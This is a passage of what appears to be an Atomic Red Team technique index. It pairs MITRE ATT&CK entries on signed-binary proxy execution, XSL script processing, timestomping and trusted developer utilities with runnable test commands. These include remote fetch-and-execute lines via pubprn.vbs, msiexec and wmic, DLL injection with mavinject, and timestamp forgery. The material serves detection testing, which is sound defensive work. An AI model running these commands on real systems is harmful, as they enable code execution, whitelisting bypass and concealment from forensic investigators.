source_name: Metasploit_Ref
url: http://www.metasploit.com
- source_name: Veil_Ref
description: Veil Framework. (n.d.). Retrieved December 4, 2014.
url: https://www.veil-framework.com/framework/
- source_name: Powersploit
description: PowerSploit. (n.d.). Retrieved December 4, 2014.
url: https://github.com/mattifestation/PowerSploit
- description: 'Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting
of National Security Think Tanks. Retrieved November 12, 2014.'
source_name: Alperovitch 2014
url: https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/
- source_name: Uperesia Malicious Office Documents
description: Felix. (2016, September). Analyzing Malicious Office Documents.
Retrieved April 11, 2018.
url: https://www.uperesia.com/analyzing-malicious-office-documents
x_mitre_defense_bypassed:
- Process whitelisting
- Data Execution Prevention
- Exploit Prevention
identifier: T1064
atomic_tests:
- name: Create and Execute Bash Shell Script
description: 'Creates and executes a simple bash script.
'
supported_platforms:
- macos
- linux
executor:
name: sh
elevation_required: false
command: |-
sh -c "echo 'echo Hello from the Atomic Red Team' > /tmp/art.sh"
sh -c "echo 'ping -c 4 8.8.8.8' >> /tmp/art.sh"
chmod +x /tmp/art.sh
sh /tmp/art.sh
T1218:
technique:
x_mitre_data_sources:
- Process monitoring
- Process command-line parameters
x_mitre_permissions_required:
- User
name: Signed Binary Proxy Execution
description: |-
Binaries signed with trusted digital certificates can execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files. This behavior may be abused by adversaries to execute malicious files that could bypass application whitelisting and signature validation on systems. This technique accounts for proxy execution methods that are not already accounted for within the existing techniques.
### Msiexec.exe
Msiexec.exe is the command-line Windows utility for the Windows Installer. Adversaries may use msiexec.exe to launch malicious MSI files for code execution. An adversary may use it to launch local or network accessible MSI files.(Citation: LOLBAS Msiexec)(Citation: Rancor Unit42 June 2018)(Citation: TrendMicro Msiexec Feb 2018) Msiexec.exe may also be used to execute DLLs.(Citation: LOLBAS Msiexec)
* msiexec.exe /q /i "C:\path\to\file.msi"
* msiexec.exe /q /i http[:]//site[.]com/file.msi
* msiexec.exe /y "C:\path\to\file.dll"
### Mavinject.exe
Mavinject.exe is a Windows utility that allows for code execution. Mavinject can be used to input a DLL into a running process. (Citation: Twitter gN3mes1s Status Update MavInject32)
* "C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe" <PID> /INJECTRUNNING <PATH DLL>
* C:\Windows\system32\mavinject.exe <PID> /INJECTRUNNING <PATH DLL>
### SyncAppvPublishingServer.exe
SyncAppvPublishingServer.exe can be used to run PowerShell scripts without executing powershell.exe. (Citation: Twitter monoxgas Status Update SyncAppvPublishingServer)
### Odbcconf.exe
Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) The utility can be misused to execute functionality equivalent to [Regsvr32](https://attack.mitre.org/techniques/T1117) with the REGSVR option to execute a DLL.(Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017)
* odbcconf.exe /S /A {REGSVR "C:\Users\Public\file.dll"}
Several other binaries exist that may be used to perform similar behavior. (Citation: GitHub Ultimate AppLocker Bypass List)
x_mitre_remote_support: false
id: attack-pattern--457c7820-d331-465a-915e-42f85500ccc4
modified: '2019-06-24T11:36:15.702Z'
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '2.0'
type: attack-pattern
x_mitre_detection: Monitor processes and command-line parameters for signed
binaries that may be used to proxy execution of malicious files. Legitimate
programs used in suspicious ways, like msiexec.exe downloading an MSI file
from the internet, may be indicative of an intrusion. Correlate activity with
other suspicious behavior to reduce false positives that may be due to normal
benign use by users and administrators.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Nishan Maharjan, @loki248
- Hans Christoffer Gaardløs
- Praetorian
created: '2018-04-18T17:59:24.739Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: defense-evasion
- kill_chain_name: mitre-attack
phase_name: execution
external_references:
- external_id: T1218
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1218
- description: LOLBAS. (n.d.). Msiexec.exe. Retrieved April 18, 2019.
source_name: LOLBAS Msiexec
url: https://lolbas-project.github.io/lolbas/Binaries/Msiexec/
- source_name: Rancor Unit42 June 2018
description: 'Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in
South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July
2, 2018.'
url: https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/
- description: Co, M. and Sison, G. (2018, February 8). Attack Using Windows
Installer msiexec.exe leads to LokiBot. Retrieved April 18, 2019.
source_name: TrendMicro Msiexec Feb 2018
url: https://blog.trendmicro.com/trendlabs-security-intelligence/attack-using-windows-installer-msiexec-exe-leads-lokibot/
- description: Giuseppe. (2017, December 14). gN3mes1s Status Update. Retrieved
April 10, 2018.
source_name: Twitter gN3mes1s Status Update MavInject32
url: https://twitter.com/gn3mes1s/status/941315826107510784
- source_name: Twitter monoxgas Status Update SyncAppvPublishingServer
description: Landers, N. (2017, August 8). monoxgas Status Update. Retrieved
April 10, 2018.
url: https://twitter.com/monoxgas/status/895045566090010624
- source_name: Microsoft odbcconf.exe
description: Microsoft. (2017, January 18). ODBCCONF.EXE. Retrieved March
7, 2019.
url: https://docs.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-2017
- description: LOLBAS. (n.d.). Odbcconf.exe. Retrieved March 7, 2019.
source_name: LOLBAS Odbcconf
url: https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/
- description: Bermejo, L., Giagone, R., Wu, R., and Yarochkin, F. (2017, August
7). Backdoor-carrying Emails Set Sights on Russian-speaking Businesses.
Retrieved March 7, 2019.
source_name: TrendMicro Squiblydoo Aug 2017
url: https://blog.trendmicro.com/trendlabs-security-intelligence/backdoor-carrying-emails-set-sights-on-russian-speaking-businesses/
- description: 'Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November
20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit
Against Russian Banks. Retrieved March 7, 2019.'
source_name: TrendMicro Cobalt Group Nov 2017
url: https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/
- description: Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved
April 10, 2018.
source_name: GitHub Ultimate AppLocker Bypass List
url: https://github.com/api0cradle/UltimateAppLockerByPassList
x_mitre_defense_bypassed:
- Application whitelisting
- Digital Certificate Validation
identifier: T1218
atomic_tests:
- name: mavinject - Inject DLL into running process
description: 'Injects arbitrary DLL into running process specified by process
ID. Requires Windows 10.
'
supported_platforms:
- windows
input_arguments:
dll_payload:
description: DLL to inject
type: Path
default: C:\AtomicRedTeam\atomics\T1218\src\x64\T1218.dll
process_id:
description: PID of process receiving injection
type: string
default: 1000
executor:
name: command_prompt
elevation_required: true
command: 'mavinject.exe #{process_id} /INJECTRUNNING #{dll_payload}
'
- name: SyncAppvPublishingServer - Execute arbitrary PowerShell code
description: 'Executes arbitrary PowerShell code using SyncAppvPublishingServer.exe.
Requires Windows 10.
'
supported_platforms:
- windows
input_arguments:
powershell_code:
description: PowerShell code to execute
type: string
default: Start-Process calc.exe
executor:
name: command_prompt
command: 'SyncAppvPublishingServer.exe "n; #{powershell_code}"
'
- name: Register-CimProvider - Execute evil dll
description: 'Execute arbitrary dll. Requires at least Windows 8/2012. Also
note this dll can be served up via SMB
'
supported_platforms:
- windows
input_arguments:
dll_payload:
description: DLL to execute
type: Path
default: C:\AtomicRedTeam\atomics\T1218\src\Win32\T1218-2.dll
executor:
name: command_prompt
command: "C:\\Windows\\SysWow64\\Register-CimProvider.exe -Path #{dll_payload}
\n"
T1216:
technique:
x_mitre_data_sources:
- Process monitoring
- Process command-line parameters
x_mitre_permissions_required:
- User
name: Signed Script Proxy Execution
description: |-
Scripts signed with trusted certificates can be used to proxy execution of malicious files. This behavior may bypass signature validation restrictions and application whitelisting solutions that do not account for use of these scripts.
PubPrn.vbs is signed by Microsoft and can be used to proxy execution from a remote site. (Citation: Enigma0x3 PubPrn Bypass) Example command: cscript C[:]\Windows\System32\Printing_Admin_Scripts\en-US\pubprn[.]vbs 127.0.0.1 script:http[:]//192.168.1.100/hi.png
There are several other signed scripts that may be used in a similar manner. (Citation: GitHub Ultimate AppLocker Bypass List)
x_mitre_remote_support: false
id: attack-pattern--f6fe9070-7a65-49ea-ae72-76292f42cebe
modified: '2019-06-24T11:33:52.628Z'
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: Monitor script processes, such as cscript, and command-line
parameters for scripts like PubPrn.vbs that may be used to proxy execution
of malicious files.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Praetorian
created: '2018-04-18T17:59:24.739Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: defense-evasion
- kill_chain_name: mitre-attack
phase_name: execution
external_references:
- external_id: T1216
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1216
- source_name: Enigma0x3 PubPrn Bypass
description: 'Nelson, M. (2017, August 3). WSH INJECTION: A CASE STUDY. Retrieved
April 9, 2018.'
url: https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/
- description: Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved
April 10, 2018.
source_name: GitHub Ultimate AppLocker Bypass List
url: https://github.com/api0cradle/UltimateAppLockerByPassList
x_mitre_defense_bypassed:
- Application whitelisting
- Digital Certificate Validation
identifier: T1216
atomic_tests:
- name: PubPrn.vbs Signed Script Bypass
description: 'Executes the signed PubPrn.vbs script with options to download
and execute an arbitrary payload.
'
supported_platforms:
- windows
input_arguments:
remote_payload:
description: A remote payload to execute using PubPrn.vbs.
type: Url
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1216/payloads/T1216.sct
executor:
name: command_prompt
elevation_required: false
command: 'cscript.exe /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs
localhost "script:#{remote_payload}"
'
T1151:
technique:
x_mitre_data_sources:
- File monitoring
- Process monitoring
x_mitre_permissions_required:
- User
name: Space after Filename
description: "Adversaries can hide a program's true filetype by changing the
extension of a file. With certain file types (specifically this does not work
with .app extensions), appending a space to the end of a filename will change
how the file is processed by the operating system. For example, if there is
a Mach-O executable file called evil.bin, when it is double clicked by a user,
it will launch Terminal.app and execute. If this file is renamed to evil.txt,
then when double clicked by a user, it will launch with the default text editing
application (not executing the binary). However, if the file is renamed to
\"evil.txt \" (note the space at the end), then when double clicked by a user,
the true file type is determined by the OS and handled appropriately and the
binary will be executed (Citation: Mac Backdoors are back). \n\nAdversaries
can use this feature to trick users into double clicking benign-looking files
of any format and ultimately executing something malicious."
id: attack-pattern--e2907cea-4b43-4ed7-a570-0fdf0fbeea00
x_mitre_platforms:
- Linux
- macOS
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: It's not common for spaces to be at the end of filenames,
so this is something that can easily be checked with file monitoring. From
the user's perspective though, this is very hard to notice from within the
Finder.app or on the command-line in Terminal.app. Processes executed from
binaries containing non-standard extensions in the filename are suspicious.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Erye Hernandez, Palo Alto Networks
created: '2017-12-14T16:46:06.044Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: defense-evasion
- kill_chain_name: mitre-attack
phase_name: execution
external_references:
- external_id: T1151
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1151
- source_name: capec
external_id: CAPEC-649
url: https://capec.mitre.org/data/definitions/649.html
- source_name: Mac Backdoors are back
description: Dan Goodin. (2016, July 6). After hiatus, in-the-wild Mac backdoors
are suddenly back. Retrieved July 8, 2017.
url: https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/
modified: '2019-06-18T14:05:31.754Z'
identifier: T1151
atomic_tests:
- name: Space After Filename
description: 'Space After Filename
'
supported_platforms:
- macos
executor:
name: manual
steps: "1. echo '#!/bin/bash\\necho \"print \\\"hello, world!\\\"\" | /usr/bin/python\\nexit'
> execute.txt && chmod +x execute.txt\n\n2. mv execute.txt \"execute.txt
\"\n\n3. ./execute.txt\\ \n"
T1099:
technique:
x_mitre_permissions_required:
- User
- Administrator
- SYSTEM
x_mitre_data_sources:
- File monitoring
- Process monitoring
- Process command-line parameters
name: Timestomp
description: 'Timestomping is a technique that modifies the timestamps of a
file (the modify, access, create, and change times), often to mimic files
that are in the same folder. This is done, for example, on files that have
been modified or created by the adversary so that they do not appear conspicuous
to forensic investigators or file analysis tools. Timestomping may be used
along with file name [Masquerading](https://attack.mitre.org/techniques/T1036)
to hide malware and tools. (Citation: WindowsIR Anti-Forensic Techniques)'
id: attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a
modified: '2019-10-18T13:53:44.332Z'
x_mitre_platforms:
- Linux
- Windows
- macOS
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.1'
type: attack-pattern
x_mitre_detection: 'Forensic techniques exist to detect aspects of files that
have had their timestamps modified. (Citation: WindowsIR Anti-Forensic Techniques)
It may be possible to detect timestomping using file modification monitoring
that collects information on file handle opens and can compare timestamp values.'
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Romain Dumont, ESET
created: '2017-05-31T21:31:12.675Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: defense-evasion
external_references:
- external_id: T1099
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1099
- source_name: WindowsIR Anti-Forensic Techniques
description: 'Carvey, H. (2013, July 23). HowTo: Determine/Detect the use
of Anti-Forensics Techniques. Retrieved June 3, 2016.'
url: http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html
x_mitre_defense_bypassed:
- Host forensic analysis
identifier: T1099
atomic_tests:
- name: Set a file's access timestamp
description: 'Stomps on the access timestamp of a file
'
supported_platforms:
- linux
- macos
input_arguments:
target_filename:
description: Path of file that we are going to stomp on last access time
type: Path
default: "/opt/filename"
executor:
name: sh
command: 'touch -a -t 197001010000.00 #{target_filename}
'
- name: Set a file's modification timestamp
description: 'Stomps on the modification timestamp of a file
'
supported_platforms:
- linux
- macos
input_arguments:
target_filename:
description: Path of file that we are going to stomp on last access time
type: Path
default: "/opt/filename"
executor:
name: sh
command: 'touch -m -t 197001010000.00 #{target_filename}
'
- name: Set a file's creation timestamp
description: |
Stomps on the create timestamp of a file
Setting the creation timestamp requires changing the system clock and reverting.
Sudo or root privileges are required to change date. Use with caution.
supported_platforms:
- linux
- macos
input_arguments:
target_filename:
description: Path of file that we are going to stomp on last access time
type: Path
default: "/opt/filename"
executor:
name: sh
command: |
NOW=$(date)
date -s "1970-01-01 00:00:00"
touch #{target_filename}
date -s "$NOW"
stat #{target_filename}
- name: Modify file timestamps using reference file
description: |
Modifies the `modify` and `access` timestamps using the timestamps of a specified reference file.
This technique was used by the threat actor Rocke during the compromise of Linux web servers.
supported_platforms:
- linux
- macos
input_arguments:
reference_file_path:
description: Path of reference file to read timestamps from
type: Path
default: "/bin/sh"
target_file_path:
description: Path of file to modify timestamps of
type: Path
default: "/opt/filename"
executor:
name: sh
command: 'touch -acmr #{reference_file_path} {target_file_path}
'
- name: Windows - Modify file creation timestamp with PowerShell
description: |
Modifies the file creation timestamp of a specified file.
This technique was seen in use by the Stitch RAT.
supported_platforms:
- windows
input_arguments:
file_path:
description: Path of file to change creation timestamp
type: Path
default: C:\Some\file.txt
target_date_time:
description: Date/time to replace original timestamps with
type: String
default: '1970-01-01 00:00:00'
executor:
name: command_prompt
elevation_required: false
command: 'powershell.exe Get-ChildItem #{file_path} | % { $_.CreationTime
= #{target_date_time} }
'
- name: Windows - Modify file last modified timestamp with PowerShell
description: |
Modifies the file last modified timestamp of a specified file.
This technique was seen in use by the Stitch RAT.
supported_platforms:
- windows
input_arguments:
file_path:
description: Path of file to change last modified timestamp
type: Path
default: C:\Some\file.txt
target_date_time:
description: Date/time to replace original timestamps with
type: String
default: '1970-01-01 00:00:00'
executor:
name: command_prompt
elevation_required: false
command: 'powershell.exe Get-ChildItem #{file_path} | % { $_.LastWriteTime
= #{target_date_time} }
'
- name: Windows - Modify file last access timestamp with PowerShell
description: |
Modifies the last access timestamp of a specified file.
This technique was seen in use by the Stitch RAT.
supported_platforms:
- windows
input_arguments:
file_path:
description: Path of file to change last access timestamp
type: Path
default: C:\Some\file.txt
target_date_time:
description: Date/time to replace original timestamps with
type: String
default: '1970-01-01 00:00:00'
executor:
name: command_prompt
elevation_required: false
command: 'powershell.exe Get-ChildItem #{file_path} | % { $_.LastAccessTime
= #{target_date_time} }
'
T1127:
technique:
x_mitre_data_sources:
- Process monitoring
x_mitre_permissions_required:
- User
name: Trusted Developer Utilities
description: "There are many utilities used for software development related
tasks that can be used to execute code in various forms to assist in development,
debugging, and reverse engineering. These utilities may often be signed with
legitimate certificates that allow them to execute on a system and proxy execution
of malicious code through a trusted process that effectively bypasses application
whitelisting defensive solutions.\n\n### MSBuild\n\nMSBuild.exe (Microsoft
Build Engine) is a software build platform used by Visual Studio. It takes
XML formatted project files that define requirements for building various
platforms and configurations. (Citation: MSDN MSBuild) \n\nAdversaries can
use MSBuild to proxy execution of code through a trusted Windows utility.
The inline task capability of MSBuild that was introduced in .NET version
4 allows for C# code to be inserted into the XML project file. (Citation:
MSDN MSBuild) Inline Tasks MSBuild will compile and execute the inline task.
MSBuild.exe is a signed Microsoft binary, so when it is used this way it can
execute arbitrary code and bypass application whitelisting defenses that are
configured to allow MSBuild.exe execution. (Citation: LOLBAS Msbuild)\n\n###
DNX\n\nThe .NET Execution Environment (DNX), dnx.exe, is a software development
kit packaged with Visual Studio Enterprise. It was retired in favor of .NET
Core CLI in 2016. (Citation: Microsoft Migrating from DNX) DNX is not present
on standard builds of Windows and may only be present on developer workstations
using older versions of .NET Core and ASP.NET Core 1.0. The dnx.exe executable
is signed by Microsoft. \n\nAn adversary can use dnx.exe to proxy execution
of arbitrary code to bypass application whitelist policies that do not account
for DNX. (Citation: engima0x3 DNX Bypass)\n\n### RCSI\n\nThe rcsi.exe utility
is a non-interactive command-line interface for C# that is similar to csi.exe.
It was provided within an early version of the Roslyn .NET Compiler Platform
but has since been deprecated for an integrated solution. (Citation: Microsoft
Roslyn CPT RCSI) The rcsi.exe binary is signed by Microsoft. (Citation: engima0x3
RCSI Bypass)\n\nC# .csx script files can be written and executed with rcsi.exe
at the command-line. An adversary can use rcsi.exe to proxy execution of arbitrary
code to bypass application whitelisting policies that do not account for execution
of rcsi.exe. (Citation: engima0x3 RCSI Bypass)\n\n### WinDbg/CDB\n\nWinDbg
is a Microsoft Windows kernel and user-mode debugging utility. The Microsoft
Console Debugger (CDB) cdb.exe is also user-mode debugger. Both utilities
are included in Windows software development kits and can be used as standalone
tools. (Citation: Microsoft Debugging Tools for Windows) They are commonly
used in software development and reverse engineering and may not be found
on typical Windows systems. Both WinDbg.exe and cdb.exe binaries are signed
by Microsoft.\n\nAn adversary can use WinDbg.exe and cdb.exe to proxy execution
of arbitrary code to bypass application whitelist policies that do not account
for execution of those utilities. (Citation: Exploit Monday WinDbg)\n\nIt
is likely possible to use other debuggers for similar purposes, such as the
kernel-mode debugger kd.exe, which is also signed by Microsoft.\n\n### Tracker\n\nThe
file tracker utility, tracker.exe, is included with the .NET framework as
part of MSBuild. It is used for logging calls to the Windows file system.
(Citation: Microsoft Docs File Tracking)\n\nAn adversary can use tracker.exe
to proxy execution of an arbitrary DLL into another process. Since tracker.exe
is also signed it can be used to bypass application whitelisting solutions.
(Citation: LOLBAS Tracker)"
x_mitre_remote_support: false
id: attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b
modified: '2019-07-31T19:44:19.300Z'
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.1'
x_mitre_system_requirements:
- |-
MSBuild: .NET Framework version 4 or higher
DNX: .NET 4.5.2, Powershell 4.0
RCSI: .NET 4.5 or later, Visual Studio 2012
type: attack-pattern
x_mitre_detection: |-
The presence of these or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.
Use process monitoring to monitor the execution and arguments of MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, cdb.exe, and tracker.exe. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. It is likely that these utilities will be used by software developers or for other software development related tasks, so if it exists and is used outside of that context, then the event may be suspicious. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Casey Smith
- Matthew Demaske, Adaptforward
created: '2017-05-31T21:31:39.262Z'
kill_chain_phases:
- phase_name: defense-evasion
kill_chain_name: mitre-attack
- phase_name: execution
kill_chain_name: mitre-attack
external_references:
- source_name: mitre-attack
external_id: T1127
url: https://attack.mitre.org/techniques/T1127
- source_name: MSDN MSBuild
description: Microsoft. (n.d.). MSBuild1. Retrieved November 30, 2016.
url: https://msdn.microsoft.com/library/dd393574.aspx
- description: LOLBAS. (n.d.). Msbuild.exe. Retrieved July 31, 2019.
source_name: LOLBAS Msbuild
url: https://lolbas-project.github.io/lolbas/Binaries/Msbuild/
- source_name: Microsoft Migrating from DNX
description: Knezevic, Z., Wenzel, M. Latham, L. (2016, June 20). Migrating
from DNX to .NET Core CLI (project.json). Retrieved June 28, 2017.
url: https://docs.microsoft.com/en-us/dotnet/core/migration/from-dnx
- source_name: engima0x3 DNX Bypass
description: Nelson, M. (2017, November 17). Bypassing Application Whitelisting
By Using dnx.exe. Retrieved May 25, 2017.
url: https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/
- source_name: Microsoft Roslyn CPT RCSI
description: Osenkov, K. (2011, October 19). Introducing the Microsoft “Roslyn”
CTP. Retrieved June 28, 2017.
url: https://blogs.msdn.microsoft.com/visualstudio/2011/10/19/introducing-the-microsoft-roslyn-ctp/
- source_name: engima0x3 RCSI Bypass
description: Nelson, M. (2016, November 21). Bypassing Application Whitelisting
By Using rcsi.exe. Retrieved May 26, 2017.
url: https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/
- source_name: Microsoft Debugging Tools for Windows
description: Marshall, D. (2017, May 23). Debugging Tools for Windows (WinDbg,
KD, CDB, NTSD). Retrieved June 29, 2017.
url: https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/index
- source_name: Exploit Monday WinDbg
description: Graeber, M. (2016, August 15). Bypassing Application Whitelisting
by using WinDbg/CDB as a Shellcode Runner. Retrieved May 26, 2017.
url: http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html
- source_name: Microsoft Docs File Tracking
description: B, M., Brown, K., Cai, S., Hogenson, G., Warren, G. (2016, November
4). File Tracking. Retrieved November 1, 2017.
url: https://docs.microsoft.com/visualstudio/msbuild/file-tracking
- description: LOLBAS. (n.d.). Tracker.exe. Retrieved July 31, 2019.
source_name: LOLBAS Tracker
url: https://lolbas-project.github.io/lolbas/OtherMSBinaries/Tracker/
x_mitre_defense_bypassed:
- Application whitelisting
identifier: T1127
atomic_tests:
- name: MSBuild Bypass Using Inline Tasks
description: 'Executes the code in a project file using. C# Example
'
supported_platforms:
- windows
input_arguments:
filename:
description: Location of the project file
type: Path
default: T1127.csproj
executor:
name: command_prompt
elevation_required: false
command: 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe #{filename}
'
T1220:
technique:
x_mitre_data_sources:
- Process monitoring
- Process command-line parameters
- Process use of network
- DLL monitoring
x_mitre_permissions_required:
- User
name: XSL Script Processing
description: |-
Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017)
Adversaries may abuse this functionality to execute arbitrary files while potentially bypassing application whitelisting defenses. Similar to [Trusted Developer Utilities](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019)
Command-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019)
* msxsl.exe customers[.]xml script[.]xsl
* msxsl.exe script[.]xsl script[.]xsl
* msxsl.exe script[.]jpeg script[.]jpeg
Another variation of this technique, dubbed “Squiblytwo”, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file.(Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1117)/ "Squiblydoo" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019)
Command-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic)
* Local File: wmic process list /FORMAT:evil[.]xsl
* Remote File: wmic os get /FORMAT:”https[:]//example[.]com/evil[.]xsl”
x_mitre_remote_support: false
id: attack-pattern--ebbe170d-aa74-4946-8511-9921243415a3
modified: '2019-09-12T17:29:15.626Z'
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.1'
x_mitre_system_requirements:
- Microsoft Core XML Services (MSXML) or access to wmic.exe
type: attack-pattern
x_mitre_detection: |-
Use process monitoring to monitor the execution and arguments of msxsl.exe and wmic.exe. Compare recent invocations of these utilities with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity (ex: URL command line arguments, creation of external network connections, loading of DLLs associated with scripting). (Citation: LOLBAS Wmic) (Citation: Twitter SquiblyTwo Detection APR 2018) Command arguments used before and after the script invocation may also be useful in determining the origin and purpose of the payload being loaded.
The presence of msxsl.exe or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Avneet Singh
- Casey Smith
- Praetorian
created: '2018-10-17T00:14:20.652Z'
kill_chain_phases:
- phase_name: defense-evasion
kill_chain_name: mitre-attack
- phase_name: execution
kill_chain_name: mitre-attack
external_references:
- source_name: mitre-attack
external_id: T1220
url: https://attack.mitre.org/techniques/T1220
- source_name: Microsoft XSLT Script Mar 2017
description: Wenzel, M. et al. (2017, March 30). XSLT Stylesheet Scripting
Using . Retrieved July 3, 2018.
url: https://docs.microsoft.com/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script
- source_name: Microsoft msxsl.exe
description: Microsoft. (n.d.). Command Line Transformation Utility (msxsl.exe).
Retrieved July 3, 2018.
url: https://www.microsoft.com/download/details.aspx?id=21714
- source_name: Penetration Testing Lab MSXSL July 2017
description: netbiosX. (2017, July 6). AppLocker Bypass – MSXSL. Retrieved
July 3, 2018.
url: https://pentestlab.blog/2017/07/06/applocker-bypass-msxsl/
- source_name: Reaqta MSXSL Spearphishing MAR 2018
description: Admin. (2018, March 2). Spear-phishing campaign leveraging on
MSXSL. Retrieved July 3, 2018.
url: https://reaqta.com/2018/03/spear-phishing-campaign-leveraging-msxsl/
- source_name: XSL Bypass Mar 2019
description: Singh, A. (2019, March 14). MSXSL.EXE and WMIC.EXE — A Way to
Proxy Code Execution. Retrieved August 2, 2019.
url: https://medium.com/@threathuntingteam/msxsl-exe-and-wmic-exe-a-way-to-proxy-code-execution-8d524f642b75
- description: LOLBAS. (n.d.). Wmic.exe. Retrieved July 31, 2019.
source_name: LOLBAS Wmic
url: https://lolbas-project.github.io/lolbas/Binaries/Wmic/
- source_name: Twitter SquiblyTwo Detection APR 2018
description: Desimone, J. (2018, April 18). Status Update. Retrieved July
3, 2018.
url: https://twitter.com/dez_/status/986614411711442944
x_mitre_defense_bypassed:
- Anti-virus
- Application whitelisting
- Digital Certificate Validation
identifier: T1220
atomic_tests:
- name: MSXSL Bypass using local files
description: 'Executes the code specified within a XSL script tag during XSL
transformation using a local payload. Requires download of MSXSL from Microsoft
at https://www.microsoft.com/en-us/download/details.aspx?id=21714.
'
supported_platforms:
- windows
input_arguments:
xmlfile:
description: Location of the test XML file on the local filesystem.
type: Path
default: C:\AtomicRedTeam\atomics\T1220\src\msxslxmlfile.xml
xslfile:
description: Location of the test XSL script file on the local filesystem.
type: Path
default: C:\AtomicRedTeam\atomics\T1220\src\msxslscript.xsl
executor:
name: command_prompt
